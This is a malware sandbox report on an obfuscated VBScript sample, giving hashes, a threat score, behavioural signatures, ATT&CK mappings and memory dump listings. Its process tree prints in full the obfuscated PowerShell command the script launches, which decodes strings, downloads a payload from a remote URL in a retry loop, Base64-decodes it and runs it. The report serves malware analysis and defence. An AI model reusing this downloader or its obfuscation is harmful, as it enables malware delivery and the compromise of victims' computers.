47692eadbf8d27bab81f7c699d31a547d929a014409644a52c3d74e2fc66c7b3

Analysis

max time kernel
147s
max time network
148s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
26/02/2025, 03:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

47692eadbf8d27bab81f7c699d31a547d929a014409644a52c3d74e2fc66c7b3.vbs
Size

62KB
MD5

43b0f24b4e0952fa530851797e64d542
SHA1

e84a97f5d1fc38bab6da3d8b8dce4468e9e51eda
SHA256

47692eadbf8d27bab81f7c699d31a547d929a014409644a52c3d74e2fc66c7b3
SHA512

e79eeb197653cad715df3fdf1e4ea3fae19be9e4b7dbd0b111256ddcb4116dd07f7e9c8d83babf7be88788138a51f51266581fd954d5bf4007ca651dae3d9e28
SSDEEP

768:do5yT5jShB13iRYsiaK1dsE3iK+ReWoZHz08mXjWJU3YI5Fa5q/Z/ICSJ7OQU:do5yNjDet3iYHA8Y3YA45cu7a

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 60 IoCs

flow	pid	Process
5	1028	powershell.exe
6	1028	powershell.exe
7	1028	powershell.exe
8	1028	powershell.exe
9	1028	powershell.exe
10	1028	powershell.exe
11	1028	powershell.exe
12	1028	powershell.exe
13	1028	powershell.exe
14	1028	powershell.exe
15	1028	powershell.exe
16	1028	powershell.exe
17	1028	powershell.exe
18	1028	powershell.exe
19	1028	powershell.exe
20	1028	powershell.exe
21	1028	powershell.exe
22	1028	powershell.exe
23	1028	powershell.exe
24	1028	powershell.exe
25	1028	powershell.exe
26	1028	powershell.exe
27	1028	powershell.exe
28	1028	powershell.exe
29	1028	powershell.exe
30	1028	powershell.exe
31	1028	powershell.exe
32	1028	powershell.exe
33	1028	powershell.exe
34	1028	powershell.exe
35	1028	powershell.exe
36	1028	powershell.exe
37	1028	powershell.exe
38	1028	powershell.exe
39	1028	powershell.exe
40	1028	powershell.exe
41	1028	powershell.exe
42	1028	powershell.exe
43	1028	powershell.exe
44	1028	powershell.exe
45	1028	powershell.exe
46	1028	powershell.exe
47	1028	powershell.exe
48	1028	powershell.exe
49	1028	powershell.exe
50	1028	powershell.exe
51	1028	powershell.exe
52	1028	powershell.exe
53	1028	powershell.exe
54	1028	powershell.exe
55	1028	powershell.exe
56	1028	powershell.exe
57	1028	powershell.exe
58	1028	powershell.exe
59	1028	powershell.exe
60	1028	powershell.exe
61	1028	powershell.exe
62	1028	powershell.exe
63	1028	powershell.exe
64	1028	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1028	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1028	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1028	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2560 wrote to memory of 1028	2560	WScript.exe	31
PID 2560 wrote to memory of 1028	2560	WScript.exe	31
PID 2560 wrote to memory of 1028	2560	WScript.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\47692eadbf8d27bab81f7c699d31a547d929a014409644a52c3d74e2fc66c7b3.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Demarkeringers;function Centaurial($Ultraurgent){ .($Embowl65) ($Ultraurgent)} function Revels117($Anbefalingen){$undergrundsbanerne=4;do{$Creasot+=$Anbefalingen[$undergrundsbanerne];Format-List;$undergrundsbanerne+=5} until(!$Anbefalingen[$undergrundsbanerne])$Creasot}$Undertrykkes=Revels117 ' S rnApede Bert Aub.leptW';$Undertrykkes+=Revels117 'Diffe K nBEvidcSnudlWhipI DiaefissNProct';$Hollowing=Revels117 'in fM WaloSpatz Coni RamlT anlKortaDomp/';$Unramped=Revels117 'MetaTGamel S asAfr 1Oc o2';$Gainward='D.ya[nstfnMinieIntoTSkd . asS ,omE Om,RVverVpersI T,eCE trEAbnopKanaOBu.niEpipnBu,stMuseMMaliAMomenprogA V,nG ppeNitrR Fon],suf:Di h:MilesDuncESp,iCDoodUr seRSquoIBe.otCiliyFilmPFirdrOutgOOrdstVegeoSpkhCPolyoVeraL Sy =Agen$Do.uU NutNV lhr Pr,aLgnamUdvipCa.aEFlodD';$Hollowing+=Revels117 'A,na5 Yel.Bygg0 Pje Furb( FagW UniiAntinG rod V noF nkwRevosChro Bl N,ungTJr.i Oxhe1ma k0Un,t.Pee 0H an;Hvi Hy.iW DogiNrignI,tr6Ddfd4Li g;Koch BeshxSpr 6Krem4Hube; nco ChirPer vGela: ,la1Polk3Phyt4Afkr.Nonr0Bonv)Enam EnbaGInsoeRedecKoumkH,lhosoci/ .st2 Out0Brow1Disk0Refi0 ilb1 Re 0Kloa1 Ins AlarFMisdi Akkr,laceSlipf ouboOutbxOrc,/Stan1Brov3 Ryg4Fals. is0';$Astrobiologically=Revels117 ' AntUEuphSSer.e KurRRes - D tAE,dtGRaineObliNJefft';$Cateringvirksomhederne=Revels117 'Re ohPistt sp tTollp Ttns Cir:Stu / For/FranoTel oBry.rHjmoi Apig SetiBrasnS umader,l NinuEthnsServePenod ru.Haa cgyneobehamScle/ U spNonsoSe.a/Lo.aS SpnaBillnTeksd OrtsFinnkG ank yreMissnwak sBund.Wo.vmChrosLepii';$Unmassed=Revels117 ' end>';$Embowl65=Revels117 'SammISej e TenX';$Telfonmontr='Aktieselskabs';$Unphysiologically='\Christophes.Act';Centaurial (Revels117 ' Lav$RundgUnh lTo fO pebDepraClo LR iz: Nvem Syma PecH tolTeglsKamgtO erIGt eCTra.K Po,=Ren $ bynEPelmnUltrVCel :A toA Reap akiPSc.mdJesyaBothT.kufaGall+Tend$KlonUPrakNHaanp b lHOutkYHardsKirkiErstOSemiLNonco aligInfriDe uCDioca uceL T oLMorcy');Centaurial (Revels117 'S is$JakkGH velBrdmO Do,b.ecoa ildlAloe:NonsANearb S oeBa.kSFiersPl diTricNOveriCapiESammrFrstS Equ=Belb$ AmaCEnhyAmishTSrgeEDansRChapiLambnMal,G parvS,isI,yngRFredKOmbuSKnipoOpvemDrilH S,eehe,tD.urdeSge,RCellNGenee nsh. PabS ComPLaryL ecoiAffrTRefl(,ruc$AirdU FanNParsm.olka,igiSb okS TveE eptDKoke)');Centaurial (Revels117 $Gainward);$Cateringvirksomhederne=$Abessiniers[0];$Ordlyd=(Revels117 'lim $ lpG FerlCytooLeucb.istAAfb.lOke :UnshGUnfeRSo.oaOpg PUndeHuncaAKretlbelolchemOW ulYCoat=BiosNOffieCalowTrak-MertoLazyBLinjj elae.fhucStorTswea Babbs iay PehsRomaTBlyaEVengmOrt .Raci$HypeUTwisnForaDP,steSlocrOxamTReforCatcysweekFilik FdsELinss');Centaurial ($Ordlyd);Centaurial (Revels117 'Trem$CissGMagnrBn eaUri pU.cohHonnaAmielLdrel lepoC,ilyDiri. UkrH .ereCrauaBeged,avve F arDives sup[Pubo$Fir AUnins Scot trarF leoEftebBortiAlbuoSqu l KomoRehegEjuriAflicCo va Udkl oolIcriyObol]Gif =Bedm$Ref HAchaoVerdl Smil Labo HypwU auiMangnBissg');$Midiron=Revels117 ' Eje$ O tGForerSvinaCh,rp BalhSal aWelllEgeblTheooSibeyUdve. El DTrvloCatawNe,anFo.gl Ve o eumad rvdCheeF TopiBiselLad,eScen(Stil$LogoCHoroaParttPjaseWeskrPa tiBaglnMursgArbev ph,iafmar WorkTil.sRosioUndemPorkhCalcefin,dPre eAfbrrHonknGo te.kri, Cha$Pl sSS,rtkEr trHoveiThe d etirAtomiAnt.lMakrl St eD.lmsdest)';$Skridrilles=$Mahlstick;Centaurial (Revels117 'Natu$Bedrg MellFreeOZokob S.eaGiftLF it: Idil.proUTujaFJesutInheHHypnaSlviV rriNNonaSCigacPersHW,teEAnnufrobbE chorknorSFahl= No,(TyvstDenaeSejlsP.riTOver-BlivPInvoaD.enTCeraHSlui Evad$Smi SOverkContrAlliiSlowD prar Irri HylLPh slSammE dtaS Opg)');while (!$Lufthavnschefers) {Centaurial (Revels117 'Dseg$Sp ngDisfl aro TrubTurna Fa.lRepl:PrecFDispltriauGesceBen,f Ar aAnvinBlowgS ileLashr TrieTrikshemi=Late$CopiBO,erlUnsuaKlupn LydkMusceN.mir') ;Centaurial $Midiron;Centaurial (Revels117 'Vols[Alcat PinHRenhrBrneE IndA Hy.Dverbire.in idG bek.m crtAabnhPre RStaiE ,okaCalodFolk]H.ld:Bver: IndSPeriLAmanETegneEustP Bor(Omt 4Mell0 Ruf0Kurs0 Osu)');Centaurial (Revels117 'Unsc$StvhgOchrlU oiOPresbChora .nvLKa g:MolbLSystu Mi.FPustTfa.khSup ASatuVLektnflu sTyracB naHUndieReceFDystEF rsr AkvSkise=Dism(CocoTTolie CheS argt Sle-PavePSma,a Yelt ueHDena Pari$ OmssC,mmkBaciRFed ICopydPolyr NoniFlleLPoddLBibleTamisUdrm)') ;Centaurial (Revels117 'Beb $MonoGAr iLRecioTyskbDrosA In lTran:Pin ABjlkB b sUTramLStatiEs aa Poesschi=Flyt$F reGTellLMycaO DokbS inADebalskra: PalbNoncaHy,oA Bl Na.skd CersU.smpMoanr iltjStegtMascePa csH,pa+ Va,+ Seq%Elif$CyriaSa dBOvereTil.S CliSGlycIUnd N akIDisaeSt kRuafrsChon.DivecrabeoV.ntUBrnenTilvt') ;$Cateringvirksomhederne=$Abessiniers[$Abulias]}$hdersgst=317408;$Mejetrskende=31471;Centaurial (Revels117 'Comb$RomagYalelAtriOKommBEth ANovel gsl:ArchsAzaduBrutFFi tF ForeStagTOvere.napsMagn Teks=Guay RectgMi.eejuletW at-Inkvc R,eOUpboN KnoTKonte RicnForetKag orb$GrasS JazkRe.lr TroIA,chDStatR Eb,IUs,elubesLborgEB teS');Centaurial (Revels117 'Sai $ LsegCastlAteuo Am.bBetjaSulelAppo:SkrmTrodorSemiaBrodcRu.lh F we SunoNondbO curForlo Damn ,enc LoghP,roiRemitE mei CelsS,gt V.re= abl Re h[b,toSLbriySl.psPyrht alteTailmT.ni. ndCTerro Sv nUn sv Rose.allrDeletDekl]G ey:Fi,i: AjoFUdlirMa ioHldnmYielBs.liaAt rstrieelev 6Pseu4FrydSPleot,askr ediiLumpnStudgTek ( eks$Byr S BifuIndsfNomafUngaeAffatAngeeInfos.eph)');Centaurial (Revels117 'Brnd$ atrgMandLNitpOKonsb ProA nmilSkil:Blodv AlmIPhotDS ideA.cooJordBTavha TreAe sdnA hadStatePe unDeboESelv Thor=terb Plse[OverSfrikyOr,iSKo.iTMiddEReinMMilj.TredtPscheStaaxForet Sto.Tia EEf,enFe tCBevio and artiL.ugn SorGPae,]Rusl:G ze:stira ionSJellCChuriDiffi B.l.Grs.GCannE O.etCou sFlorTCoutrHaloIOvern parG sul(Cirk$IcontFrilRDukkA.esicHarphE,stEAu ooFjasbka sr LagoJrdinFoxyCToxiHAde.iAnmeTTopsiKompsPref)');Centaurial (Revels117 ' Pos$Sk,lG SiglCitiOVinkbPolyaPreuL Tat:Sk mC Dr.eImpemThegEfagbn Fo tAfpiMPh,eaForpk .jrEFyldRKy,h=Kraa$BondVAa,si Fyrd Vere RacoUnwoBGru.A ForAsorrNUltrd NedePro nCr,pe est.ClassImpaUXantB,ungSWagtt TourCr mIToreNRetsGShop(Knot$InodH GlyDTrolESh nrInkosHjtsG ostsTippts po,Gen $SjasMFoo eLeagj GifEStvktPoriR.splsNeogkHalvEUnden aesdTroceFlu )');Centaurial $cementmaker;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1028-4-0x000007FEF549E000-0x000007FEF549F000-memory.dmp

Filesize
4KB

Download
memory/1028-5-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/1028-6-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/1028-7-0x000007FEF51E0000-0x000007FEF5B7D000-memory.dmp

Filesize
9.6MB

Download
memory/1028-8-0x000007FEF51E0000-0x000007FEF5B7D000-memory.dmp

Filesize
9.6MB

Download
memory/1028-9-0x000007FEF51E0000-0x000007FEF5B7D000-memory.dmp

Filesize
9.6MB

Download
memory/1028-10-0x000007FEF51E0000-0x000007FEF5B7D000-memory.dmp

Filesize
9.6MB

Download
memory/1028-11-0x000007FEF51E0000-0x000007FEF5B7D000-memory.dmp

Filesize
9.6MB

Download
memory/1028-12-0x000007FEF549E000-0x000007FEF549F000-memory.dmp

Filesize
4KB

Download
memory/1028-13-0x000007FEF51E0000-0x000007FEF5B7D000-memory.dmp

Filesize
9.6MB

Download
memory/1028-14-0x000007FEF51E0000-0x000007FEF5B7D000-memory.dmp

Filesize
9.6MB

Download